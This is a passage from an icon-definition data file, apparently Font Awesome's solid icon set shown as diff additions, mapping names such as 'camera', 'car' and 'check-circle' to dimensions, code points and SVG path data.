12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48v36c0 6.6-5.4 12-12 12zM12 192h424c6.6 0 12 5.4 12 12v260c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V204c0-6.6 5.4-12 12-12zm257.3 160l48.1-48.1c4.7-4.7 4.7-12.3 0-17l-28.3-28.3c-4.7-4.7-12.3-4.7-17 0L224 306.7l-48.1-48.1c-4.7-4.7-12.3-4.7-17 0l-28.3 28.3c-4.7 4.7-4.7 12.3 0 17l48.1 48.1-48.1 48.1c-4.7 4.7-4.7 12.3 0 17l28.3 28.3c4.7 4.7 12.3 4.7 17 0l48.1-48.1 48.1 48.1c4.7 4.7 12.3 4.7 17 0l28.3-28.3c4.7-4.7 4.7-12.3 0-17L269.3 352z"], + "calendar-week": [448, 512, [], "f784", "M0 464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V192H0v272zm64-192c0-8.8 7.2-16 16-16h288c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16v-64zM400 64h-48V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48H160V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48H48C21.5 64 0 85.5 0 112v48h448v-48c0-26.5-21.5-48-48-48z"], + "camera": [512, 512, [], "f030", "M512 144v288c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V144c0-26.5 21.5-48 48-48h88l12.3-32.9c7-18.7 24.9-31.1 44.9-31.1h125.5c20 0 37.9 12.4 44.9 31.1L376 96h88c26.5 0 48 21.5 48 48zM376 288c0-66.2-53.8-120-120-120s-120 53.8-120 120 53.8 120 120 120 120-53.8 120-120zm-32 0c0 48.5-39.5 88-88 88s-88-39.5-88-88 39.5-88 88-88 88 39.5 88 88z"], + "camera-retro": [512, 512, [], "f083", "M48 32C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48H48zm0 32h106c3.3 0 6 2.7 6 6v20c0 3.3-2.7 6-6 6H38c-3.3 0-6-2.7-6-6V80c0-8.8 7.2-16 16-16zm426 96H38c-3.3 0-6-2.7-6-6v-36c0-3.3 2.7-6 6-6h138l30.2-45.3c1.1-1.7 3-2.7 5-2.7H464c8.8 0 16 7.2 16 16v74c0 3.3-2.7 6-6 6zM256 424c-66.2 0-120-53.8-120-120s53.8-120 120-120 120 53.8 120 120-53.8 120-120 120zm0-208c-48.5 0-88 39.5-88 88s39.5 88 88 88 88-39.5 88-88-39.5-88-88-88zm-48 104c-8.8 0-16-7.2-16-16 0-35.3 28.7-64 64-64 8.8 0 16 7.2 16 16s-7.2 16-16 16c-17.6 0-32 14.4-32 32 0 8.8-7.2 16-16 16z"], + "campground": [640, 512, [], "f6bb", "M624 448h-24.68L359.54 117.75l53.41-73.55c5.19-7.15 3.61-17.16-3.54-22.35l-25.9-18.79c-7.15-5.19-17.15-3.61-22.35 3.55L320 63.3 278.83 6.6c-5.19-7.15-15.2-8.74-22.35-3.55l-25.88 18.8c-7.15 5.19-8.74 15.2-3.54 22.35l53.41 73.55L40.68 448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h608c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM320 288l116.36 160H203.64L320 288z"], + "candy-cane": [512, 512, [], "f786", "M497.5 92C469.6 33.1 411.8 0 352.4 0c-27.9 0-56.2 7.3-81.8 22.6L243.1 39c-15.2 9.1-20.1 28.7-11 43.9l32.8 54.9c6 10 16.6 15.6 27.5 15.6 5.6 0 11.2-1.5 16.4-4.5l27.5-16.4c5.1-3.1 10.8-4.5 16.4-4.5 10.9 0 21.5 5.6 27.5 15.6 9.1 15.1 4.1 34.8-11 43.9L15.6 397.6c-15.2 9.1-20.1 28.7-11 43.9l32.8 54.9c6 10 16.6 15.6 27.5 15.6 5.6 0 11.2-1.5 16.4-4.5L428.6 301c71.7-42.9 104.6-133.5 68.9-209zm-177.7 13l-2.5 1.5L296.8 45c9.7-4.7 19.8-8.1 30.3-10.2l20.6 61.8c-9.8.8-19.4 3.3-27.9 8.4zM145.9 431.8l-60.5-38.5 30.8-18.3 60.5 38.5-30.8 18.3zm107.5-63.9l-60.5-38.5 30.8-18.3 60.5 38.5-30.8 18.3zM364.3 302l-60.5-38.5 30.8-18.3 60.5 38.5-30.8 18.3zm20.4-197.3l46-46c8.4 6.5 16 14.1 22.6 22.6L407.6 127c-5.7-9.3-13.7-16.9-22.9-22.3zm82.1 107.8l-59.5-19.8c3.2-5.3 5.8-10.9 7.4-17.1 1.1-4.5 1.7-9.1 1.8-13.6l60.4 20.1c-2.1 10.4-5.5 20.6-10.1 30.4z"], + "cannabis": [512, 512, [], "f55f", "M503.47 360.25c-1.56-.82-32.39-16.89-76.78-25.81 64.25-75.12 84.05-161.67 84.93-165.64 1.18-5.33-.44-10.9-4.3-14.77-3.03-3.04-7.12-4.7-11.32-4.7-1.14 0-2.29.12-3.44.38-3.88.85-86.54 19.59-160.58 79.76.01-1.46.01-2.93.01-4.4 0-118.79-59.98-213.72-62.53-217.7A15.973 15.973 0 0 0 256 0c-5.45 0-10.53 2.78-13.47 7.37-2.55 3.98-62.53 98.91-62.53 217.7 0 1.47.01 2.94.01 4.4-74.03-60.16-156.69-78.9-160.58-79.76-1.14-.25-2.29-.38-3.44-.38-4.2 0-8.29 1.66-11.32 4.7A15.986 15.986 0 0 0 .38 168.8c.88 3.97 20.68 90.52 84.93 165.64-44.39 8.92-75.21 24.99-76.78 25.81a16.003 16.003 0 0 0-.02 28.29c2.45 1.29 60.76 31.72 133.49 31.72 6.14 0 11.96-.1 17.5-.31-11.37 22.23-16.52 38.31-16.81 39.22-1.8 5.68-.29 11.89 3.91 16.11a16.019 16.019 0 0 0 16.1 3.99c1.83-.57 37.72-11.99 77.3-39.29V504c0 4.42 3.58 8 8 8h16c4.42 0 8-3.58 8-8v-64.01c39.58 27.3 75.47 38.71 77.3 39.29a16.019 16.019 0 0 0 16.1-3.99c4.2-4.22 5.71-10.43 3.91-16.11-.29-.91-5.45-16.99-16.81-39.22 5.54.21 11.37.31 17.5.31 72.72 0 131.04-30.43 133.49-31.72 5.24-2.78 8.52-8.22 8.51-14.15-.01-5.94-3.29-11.39-8.53-14.15z"], + "capsules": [576, 512, [], "f46b", "M555.3 300.1L424.2 112.8C401.9 81 366.4 64 330.4 64c-22.6 0-45.5 6.7-65.5 20.7-19.7 13.8-33.7 32.8-41.5 53.8C220.5 79.2 172 32 112 32 50.1 32 0 82.1 0 144v224c0 61.9 50.1 112 112 112s112-50.1 112-112V218.9c3.3 8.6 7.3 17.1 12.8 25L368 431.2c22.2 31.8 57.7 48.8 93.8 48.8 22.7 0 45.5-6.7 65.5-20.7 51.7-36.2 64.2-107.5 28-159.2zM160 256H64V144c0-26.5 21.5-48 48-48s48 21.5 48 48v112zm194.8 44.9l-65.6-93.7c-7.7-11-10.7-24.4-8.3-37.6 2.3-13.2 9.7-24.8 20.7-32.5 8.5-6 18.5-9.1 28.8-9.1 16.5 0 31.9 8 41.3 21.5l65.6 93.7-82.5 57.7z"], + "car": [512, 512, [], "f1b9", "M499.99 176h-59.87l-16.64-41.6C406.38 91.63 365.57 64 319.5 64h-127c-46.06 0-86.88 27.63-103.99 70.4L71.87 176H12.01C4.2 176-1.53 183.34.37 190.91l6 24C7.7 220.25 12.5 224 18.01 224h20.07C24.65 235.73 16 252.78 16 272v48c0 16.12 6.16 30.67 16 41.93V416c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h256v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-54.07c9.84-11.25 16-25.8 16-41.93v-48c0-19.22-8.65-36.27-22.07-48H494c5.51 0 10.31-3.75 11.64-9.09l6-24c1.89-7.57-3.84-14.91-11.65-14.91zm-352.06-17.83c7.29-18.22 24.94-30.17 44.57-30.17h127c19.63 0 37.28 11.95 44.57 30.17L384 208H128l19.93-49.83zM96 319.8c-19.2 0-32-12.76-32-31.9S76.8 256 96 256s48 28.71 48 47.85-28.8 15.95-48 15.95zm320 0c-19.2 0-48 3.19-48-15.95S396.8 256 416 256s32 12.76 32 31.9-12.8 31.9-32 31.9z"], + "car-alt": [480, 512, [], "f5de", "M438.66 212.33l-11.24-28.1-19.93-49.83C390.38 91.63 349.57 64 303.5 64h-127c-46.06 0-86.88 27.63-103.99 70.4l-19.93 49.83-11.24 28.1C17.22 221.5 0 244.66 0 272v48c0 16.12 6.16 30.67 16 41.93V416c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h256v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-54.07c9.84-11.25 16-25.8 16-41.93v-48c0-27.34-17.22-50.5-41.34-59.67zm-306.73-54.16c7.29-18.22 24.94-30.17 44.57-30.17h127c19.63 0 37.28 11.95 44.57 30.17L368 208H112l19.93-49.83zM80 319.8c-19.2 0-32-12.76-32-31.9S60.8 256 80 256s48 28.71 48 47.85-28.8 15.95-48 15.95zm320 0c-19.2 0-48 3.19-48-15.95S380.8 256 400 256s32 12.76 32 31.9-12.8 31.9-32 31.9z"], + "car-battery": [512, 512, [], "f5df", "M480 128h-32V80c0-8.84-7.16-16-16-16h-96c-8.84 0-16 7.16-16 16v48H192V80c0-8.84-7.16-16-16-16H80c-8.84 0-16 7.16-16 16v48H32c-17.67 0-32 14.33-32 32v256c0 17.67 14.33 32 32 32h448c17.67 0 32-14.33 32-32V160c0-17.67-14.33-32-32-32zM192 264c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h112c4.42 0 8 3.58 8 8v16zm256 0c0 4.42-3.58 8-8 8h-40v40c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-40h-40c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h40v-40c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v40h40c4.42 0 8 3.58 8 8v16z"], + "car-crash": [640, 512, [], "f5e1", "M143.25 220.81l-12.42 46.37c-3.01 11.25-3.63 22.89-2.41 34.39l-35.2 28.98c-6.57 5.41-16.31-.43-14.62-8.77l15.44-76.68c1.06-5.26-2.66-10.28-8-10.79l-77.86-7.55c-8.47-.82-11.23-11.83-4.14-16.54l65.15-43.3c4.46-2.97 5.38-9.15 1.98-13.29L21.46 93.22c-5.41-6.57.43-16.3 8.78-14.62l76.68 15.44c5.26 1.06 10.28-2.66 10.8-8l7.55-77.86c.82-8.48 11.83-11.23 16.55-4.14l43.3 65.14c2.97 4.46 9.15 5.38 13.29 1.98l60.4-49.71c6.57-5.41 16.3.43 14.62 8.77L262.1 86.38c-2.71 3.05-5.43 6.09-7.91 9.4l-32.15 42.97-10.71 14.32c-32.73 8.76-59.18 34.53-68.08 67.74zm494.57 132.51l-12.42 46.36c-3.13 11.68-9.38 21.61-17.55 29.36a66.876 66.876 0 0 1-8.76 7l-13.99 52.23c-1.14 4.27-3.1 8.1-5.65 11.38-7.67 9.84-20.74 14.68-33.54 11.25L515 502.62c-17.07-4.57-27.2-22.12-22.63-39.19l8.28-30.91-247.28-66.26-8.28 30.91c-4.57 17.07-22.12 27.2-39.19 22.63l-30.91-8.28c-12.8-3.43-21.7-14.16-23.42-26.51-.57-4.12-.35-8.42.79-12.68l13.99-52.23a66.62 66.62 0 0 1-4.09-10.45c-3.2-10.79-3.65-22.52-.52-34.2l12.42-46.37c5.31-19.8 19.36-34.83 36.89-42.21a64.336 64.336 0 0 1 18.49-4.72l18.13-24.23 32.15-42.97c3.45-4.61 7.19-8.9 11.2-12.84 8-7.89 17.03-14.44 26.74-19.51 4.86-2.54 9.89-4.71 15.05-6.49 10.33-3.58 21.19-5.63 32.24-6.04 11.05-.41 22.31.82 33.43 3.8l122.68 32.87c11.12 2.98 21.48 7.54 30.85 13.43a111.11 111.11 0 0 1 34.69 34.5c8.82 13.88 14.64 29.84 16.68 46.99l6.36 53.29 3.59 30.05a64.49 64.49 0 0 1 22.74 29.93c4.39 11.88 5.29 25.19 1.75 38.39zM255.58 234.34c-18.55-4.97-34.21 4.04-39.17 22.53-4.96 18.49 4.11 34.12 22.65 39.09 18.55 4.97 45.54 15.51 50.49-2.98 4.96-18.49-15.43-53.67-33.97-58.64zm290.61 28.17l-6.36-53.29c-.58-4.87-1.89-9.53-3.82-13.86-5.8-12.99-17.2-23.01-31.42-26.82l-122.68-32.87a48.008 48.008 0 0 0-50.86 17.61l-32.15 42.97 172 46.08 75.29 20.18zm18.49 54.65c-18.55-4.97-53.8 15.31-58.75 33.79-4.95 18.49 23.69 22.86 42.24 27.83 18.55 4.97 34.21-4.04 39.17-22.53 4.95-18.48-4.11-34.12-22.66-39.09z"], + "car-side": [640, 512, [], "f5e4", "M544 192h-16L419.22 56.02A64.025 64.025 0 0 0 369.24 32H155.33c-26.17 0-49.7 15.93-59.42 40.23L48 194.26C20.44 201.4 0 226.21 0 256v112c0 8.84 7.16 16 16 16h48c0 53.02 42.98 96 96 96s96-42.98 96-96h128c0 53.02 42.98 96 96 96s96-42.98 96-96h48c8.84 0 16-7.16 16-16v-80c0-53.02-42.98-96-96-96zM160 432c-26.47 0-48-21.53-48-48s21.53-48 48-48 48 21.53 48 48-21.53 48-48 48zm72-240H116.93l38.4-96H232v96zm48 0V96h89.24l76.8 96H280zm200 240c-26.47 0-48-21.53-48-48s21.53-48 48-48 48 21.53 48 48-21.53 48-48 48z"], + "caravan": [640, 512, [], "f8ff", "M416,208a16,16,0,1,0,16,16A16,16,0,0,0,416,208ZM624,320H576V160A160,160,0,0,0,416,0H64A64,64,0,0,0,0,64V320a64,64,0,0,0,64,64H96a96,96,0,0,0,192,0H624a16,16,0,0,0,16-16V336A16,16,0,0,0,624,320ZM192,432a48,48,0,1,1,48-48A48.05,48.05,0,0,1,192,432Zm64-240a32,32,0,0,1-32,32H96a32,32,0,0,1-32-32V128A32,32,0,0,1,96,96H224a32,32,0,0,1,32,32ZM448,320H320V128a32,32,0,0,1,32-32h64a32,32,0,0,1,32,32Z"], + "caret-down": [320, 512, [], "f0d7", "M31.3 192h257.3c17.8 0 26.7 21.5 14.1 34.1L174.1 354.8c-7.8 7.8-20.5 7.8-28.3 0L17.2 226.1C4.6 213.5 13.5 192 31.3 192z"], + "caret-left": [192, 512, [], "f0d9", "M192 127.338v257.324c0 17.818-21.543 26.741-34.142 14.142L29.196 270.142c-7.81-7.81-7.81-20.474 0-28.284l128.662-128.662c12.599-12.6 34.142-3.676 34.142 14.142z"], + "caret-right": [192, 512, [], "f0da", "M0 384.662V127.338c0-17.818 21.543-26.741 34.142-14.142l128.662 128.662c7.81 7.81 7.81 20.474 0 28.284L34.142 398.804C21.543 411.404 0 402.48 0 384.662z"], + "caret-square-down": [448, 512, [], "f150", "M448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zM92.5 220.5l123 123c4.7 4.7 12.3 4.7 17 0l123-123c7.6-7.6 2.2-20.5-8.5-20.5H101c-10.7 0-16.1 12.9-8.5 20.5z"], + "caret-square-left": [448, 512, [], "f191", "M400 480H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h352c26.51 0 48 21.49 48 48v352c0 26.51-21.49 48-48 48zM259.515 124.485l-123.03 123.03c-4.686 4.686-4.686 12.284 0 16.971l123.029 123.029c7.56 7.56 20.485 2.206 20.485-8.485V132.971c.001-10.691-12.925-16.045-20.484-8.486z"], + "caret-square-right": [448, 512, [], "f152", "M48 32h352c26.51 0 48 21.49 48 48v352c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48zm140.485 355.515l123.029-123.029c4.686-4.686 4.686-12.284 0-16.971l-123.029-123.03c-7.56-7.56-20.485-2.206-20.485 8.485v246.059c0 10.691 12.926 16.045 20.485 8.486z"], + "caret-square-up": [448, 512, [], "f151", "M0 432V80c0-26.51 21.49-48 48-48h352c26.51 0 48 21.49 48 48v352c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48zm355.515-140.485l-123.03-123.03c-4.686-4.686-12.284-4.686-16.971 0L92.485 291.515c-7.56 7.56-2.206 20.485 8.485 20.485h246.059c10.691 0 16.045-12.926 8.486-20.485z"], + "caret-up": [320, 512, [], "f0d8", "M288.662 352H31.338c-17.818 0-26.741-21.543-14.142-34.142l128.662-128.662c7.81-7.81 20.474-7.81 28.284 0l128.662 128.662c12.6 12.599 3.676 34.142-14.142 34.142z"], + "carrot": [512, 512, [], "f787", "M298.2 156.6c-52.7-25.7-114.5-10.5-150.2 32.8l55.2 55.2c6.3 6.3 6.3 16.4 0 22.6-3.1 3.1-7.2 4.7-11.3 4.7s-8.2-1.6-11.3-4.7L130.4 217 2.3 479.7c-2.9 6-3.1 13.3 0 19.7 5.4 11.1 18.9 15.7 30 10.3l133.6-65.2-49.2-49.2c-6.3-6.2-6.3-16.4 0-22.6 6.3-6.2 16.4-6.2 22.6 0l57 57 102-49.8c24-11.7 44.5-31.3 57.1-57.1 30.1-61.7 4.5-136.1-57.2-166.2zm92.1-34.9C409.8 81 399.7 32.9 360 0c-50.3 41.7-52.5 107.5-7.9 151.9l8 8c44.4 44.6 110.3 42.4 151.9-7.9-32.9-39.7-81-49.8-121.7-30.3z"], + "cart-arrow-down": [576, 512, [], "f218", "M504.717 320H211.572l6.545 32h268.418c15.401 0 26.816 14.301 23.403 29.319l-5.517 24.276C523.112 414.668 536 433.828 536 456c0 31.202-25.519 56.444-56.824 55.994-29.823-.429-54.35-24.631-55.155-54.447-.44-16.287 6.085-31.049 16.803-41.548H231.176C241.553 426.165 248 440.326 248 456c0 31.813-26.528 57.431-58.67 55.938-28.54-1.325-51.751-24.385-53.251-52.917-1.158-22.034 10.436-41.455 28.051-51.586L93.883 64H24C10.745 64 0 53.255 0 40V24C0 10.745 10.745 0 24 0h102.529c11.401 0 21.228 8.021 23.513 19.19L159.208 64H551.99c15.401 0 26.816 14.301 23.403 29.319l-47.273 208C525.637 312.246 515.923 320 504.717 320zM403.029 192H360v-60c0-6.627-5.373-12-12-12h-24c-6.627 0-12 5.373-12 12v60h-43.029c-10.691 0-16.045 12.926-8.485 20.485l67.029 67.029c4.686 4.686 12.284 4.686 16.971 0l67.029-67.029c7.559-7.559 2.205-20.485-8.486-20.485z"], + "cart-plus": [576, 512, [], "f217", "M504.717 320H211.572l6.545 32h268.418c15.401 0 26.816 14.301 23.403 29.319l-5.517 24.276C523.112 414.668 536 433.828 536 456c0 31.202-25.519 56.444-56.824 55.994-29.823-.429-54.35-24.631-55.155-54.447-.44-16.287 6.085-31.049 16.803-41.548H231.176C241.553 426.165 248 440.326 248 456c0 31.813-26.528 57.431-58.67 55.938-28.54-1.325-51.751-24.385-53.251-52.917-1.158-22.034 10.436-41.455 28.051-51.586L93.883 64H24C10.745 64 0 53.255 0 40V24C0 10.745 10.745 0 24 0h102.529c11.401 0 21.228 8.021 23.513 19.19L159.208 64H551.99c15.401 0 26.816 14.301 23.403 29.319l-47.273 208C525.637 312.246 515.923 320 504.717 320zM408 168h-48v-40c0-8.837-7.163-16-16-16h-16c-8.837 0-16 7.163-16 16v40h-48c-8.837 0-16 7.163-16 16v16c0 8.837 7.163 16 16 16h48v40c0 8.837 7.163 16 16 16h16c8.837 0 16-7.163 16-16v-40h48c8.837 0 16-7.163 16-16v-16c0-8.837-7.163-16-16-16z"], + "cash-register": [512, 512, [], "f788", "M511.1 378.8l-26.7-160c-2.6-15.4-15.9-26.7-31.6-26.7H208v-64h96c8.8 0 16-7.2 16-16V16c0-8.8-7.2-16-16-16H48c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16h96v64H59.1c-15.6 0-29 11.3-31.6 26.7L.8 378.7c-.6 3.5-.9 7-.9 10.5V480c0 17.7 14.3 32 32 32h448c17.7 0 32-14.3 32-32v-90.7c.1-3.5-.2-7-.8-10.5zM280 248c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16v-16zm-32 64h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16v-16c0-8.8 7.2-16 16-16zm-32-80c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16v-16c0-8.8 7.2-16 16-16h16zM80 80V48h192v32H80zm40 200h-16c-8.8 0-16-7.2-16-16v-16c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16zm16 64v-16c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16zm216 112c0 4.4-3.6 8-8 8H168c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h176c4.4 0 8 3.6 8 8v16zm24-112c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16v-16c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16zm48-80c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16v-16c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16z"], + "cat": [512, 512, [], "f6be", "M290.59 192c-20.18 0-106.82 1.98-162.59 85.95V192c0-52.94-43.06-96-96-96-17.67 0-32 14.33-32 32s14.33 32 32 32c17.64 0 32 14.36 32 32v256c0 35.3 28.7 64 64 64h176c8.84 0 16-7.16 16-16v-16c0-17.67-14.33-32-32-32h-32l128-96v144c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16V289.86c-10.29 2.67-20.89 4.54-32 4.54-61.81 0-113.52-44.05-125.41-102.4zM448 96h-64l-64-64v134.4c0 53.02 42.98 96 96 96s96-42.98 96-96V32l-64 64zm-72 80c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16zm80 0c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16z"], + "certificate": [512, 512, [], "f0a3", "M458.622 255.92l45.985-45.005c13.708-12.977 7.316-36.039-10.664-40.339l-62.65-15.99 17.661-62.015c4.991-17.838-11.829-34.663-29.661-29.671l-61.994 17.667-15.984-62.671C337.085.197 313.765-6.276 300.99 7.228L256 53.57 211.011 7.229c-12.63-13.351-36.047-7.234-40.325 10.668l-15.984 62.671-61.995-17.667C74.87 57.907 58.056 74.738 63.046 92.572l17.661 62.015-62.65 15.99C.069 174.878-6.31 197.944 7.392 210.915l45.985 45.005-45.985 45.004c-13.708 12.977-7.316 36.039 10.664 40.339l62.65 15.99-17.661 62.015c-4.991 17.838 11.829 34.663 29.661 29.671l61.994-17.667 15.984 62.671c4.439 18.575 27.696 24.018 40.325 10.668L256 458.61l44.989 46.001c12.5 13.488 35.987 7.486 40.325-10.668l15.984-62.671 61.994 17.667c17.836 4.994 34.651-11.837 29.661-29.671l-17.661-62.015 62.65-15.99c17.987-4.302 24.366-27.367 10.664-40.339l-45.984-45.004z"], + "chair": [448, 512, [], "f6c0", "M112 128c0-29.5 16.2-55 40-68.9V256h48V48h48v208h48V59.1c23.8 13.9 40 39.4 40 68.9v128h48V128C384 57.3 326.7 0 256 0h-64C121.3 0 64 57.3 64 128v128h48zm334.3 213.9l-10.7-32c-4.4-13.1-16.6-21.9-30.4-21.9H42.7c-13.8 0-26 8.8-30.4 21.9l-10.7 32C-5.2 362.6 10.2 384 32 384v112c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V384h256v112c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V384c21.8 0 37.2-21.4 30.3-42.1z"], + "chalkboard": [640, 512, [], "f51b", "M96 64h448v352h64V40c0-22.06-17.94-40-40-40H72C49.94 0 32 17.94 32 40v376h64V64zm528 384H480v-64H288v64H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h608c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16z"], + "chalkboard-teacher": [640, 512, [], "f51c", "M208 352c-2.39 0-4.78.35-7.06 1.09C187.98 357.3 174.35 360 160 360c-14.35 0-27.98-2.7-40.95-6.91-2.28-.74-4.66-1.09-7.05-1.09C49.94 352-.33 402.48 0 464.62.14 490.88 21.73 512 48 512h224c26.27 0 47.86-21.12 48-47.38.33-62.14-49.94-112.62-112-112.62zm-48-32c53.02 0 96-42.98 96-96s-42.98-96-96-96-96 42.98-96 96 42.98 96 96 96zM592 0H208c-26.47 0-48 22.25-48 49.59V96c23.42 0 45.1 6.78 64 17.8V64h352v288h-64v-64H384v64h-76.24c19.1 16.69 33.12 38.73 39.69 64H592c26.47 0 48-22.25 48-49.59V49.59C640 22.25 618.47 0 592 0z"], + "charging-station": [576, 512, [], "f5e7", "M336 448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h320c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm208-320V80c0-8.84-7.16-16-16-16s-16 7.16-16 16v48h-32V80c0-8.84-7.16-16-16-16s-16 7.16-16 16v48h-16c-8.84 0-16 7.16-16 16v32c0 35.76 23.62 65.69 56 75.93v118.49c0 13.95-9.5 26.92-23.26 29.19C431.22 402.5 416 388.99 416 372v-28c0-48.6-39.4-88-88-88h-8V64c0-35.35-28.65-64-64-64H96C60.65 0 32 28.65 32 64v352h288V304h8c22.09 0 40 17.91 40 40v24.61c0 39.67 28.92 75.16 68.41 79.01C481.71 452.05 520 416.41 520 372V251.93c32.38-10.24 56-40.17 56-75.93v-32c0-8.84-7.16-16-16-16h-16zm-283.91 47.76l-93.7 139c-2.2 3.33-6.21 5.24-10.39 5.24-7.67 0-13.47-6.28-11.67-12.92L167.35 224H108c-7.25 0-12.85-5.59-11.89-11.89l16-107C112.9 99.9 117.98 96 124 96h68c7.88 0 13.62 6.54 11.6 13.21L192 160h57.7c9.24 0 15.01 8.78 10.39 15.76z"], + "chart-area": [512, 512, [], "f1fe", "M500 384c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H12c-6.6 0-12-5.4-12-12V76c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v308h436zM372.7 159.5L288 216l-85.3-113.7c-5.1-6.8-15.5-6.3-19.9 1L96 248v104h384l-89.9-187.8c-3.2-6.5-11.4-8.7-17.4-4.7z"], + "chart-bar": [512, 512, [], "f080", "M332.8 320h38.4c6.4 0 12.8-6.4 12.8-12.8V172.8c0-6.4-6.4-12.8-12.8-12.8h-38.4c-6.4 0-12.8 6.4-12.8 12.8v134.4c0 6.4 6.4 12.8 12.8 12.8zm96 0h38.4c6.4 0 12.8-6.4 12.8-12.8V76.8c0-6.4-6.4-12.8-12.8-12.8h-38.4c-6.4 0-12.8 6.4-12.8 12.8v230.4c0 6.4 6.4 12.8 12.8 12.8zm-288 0h38.4c6.4 0 12.8-6.4 12.8-12.8v-70.4c0-6.4-6.4-12.8-12.8-12.8h-38.4c-6.4 0-12.8 6.4-12.8 12.8v70.4c0 6.4 6.4 12.8 12.8 12.8zm96 0h38.4c6.4 0 12.8-6.4 12.8-12.8V108.8c0-6.4-6.4-12.8-12.8-12.8h-38.4c-6.4 0-12.8 6.4-12.8 12.8v198.4c0 6.4 6.4 12.8 12.8 12.8zM496 384H64V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v336c0 17.67 14.33 32 32 32h464c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16z"], + "chart-line": [512, 512, [], "f201", "M496 384H64V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v336c0 17.67 14.33 32 32 32h464c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM464 96H345.94c-21.38 0-32.09 25.85-16.97 40.97l32.4 32.4L288 242.75l-73.37-73.37c-12.5-12.5-32.76-12.5-45.25 0l-68.69 68.69c-6.25 6.25-6.25 16.38 0 22.63l22.62 22.62c6.25 6.25 16.38 6.25 22.63 0L192 237.25l73.37 73.37c12.5 12.5 32.76 12.5 45.25 0l96-96 32.4 32.4c15.12 15.12 40.97 4.41 40.97-16.97V112c.01-8.84-7.15-16-15.99-16z"], + "chart-pie": [544, 512, [], "f200", "M527.79 288H290.5l158.03 158.03c6.04 6.04 15.98 6.53 22.19.68 38.7-36.46 65.32-85.61 73.13-140.86 1.34-9.46-6.51-17.85-16.06-17.85zm-15.83-64.8C503.72 103.74 408.26 8.28 288.8.04 279.68-.59 272 7.1 272 16.24V240h223.77c9.14 0 16.82-7.68 16.19-16.8zM224 288V50.71c0-9.55-8.39-17.4-17.84-16.06C86.99 51.49-4.1 155.6.14 280.37 4.5 408.51 114.83 513.59 243.03 511.98c50.4-.63 96.97-16.87 135.26-44.03 7.9-5.6 8.42-17.23 1.57-24.08L224 288z"], + "check": [512, 512, [], "f00c", "M173.898 439.404l-166.4-166.4c-9.997-9.997-9.997-26.206 0-36.204l36.203-36.204c9.997-9.998 26.207-9.998 36.204 0L192 312.69 432.095 72.596c9.997-9.997 26.207-9.997 36.204 0l36.203 36.204c9.997 9.997 9.997 26.206 0 36.204l-294.4 294.401c-9.998 9.997-26.207 9.997-36.204-.001z"], + "check-circle": [512, 512, [], "f058", "M504 256c0 136.967-111.033 248-248 248S8 392.967 8 256 119.033 8 256 8s248 111.033 248 248zM227.314 387.314l184-184c6.248-6.248 6.248-16.379 0-22.627l-22.627-22.627c-6.248-6.249-16.379-6.249-22.628 0L216 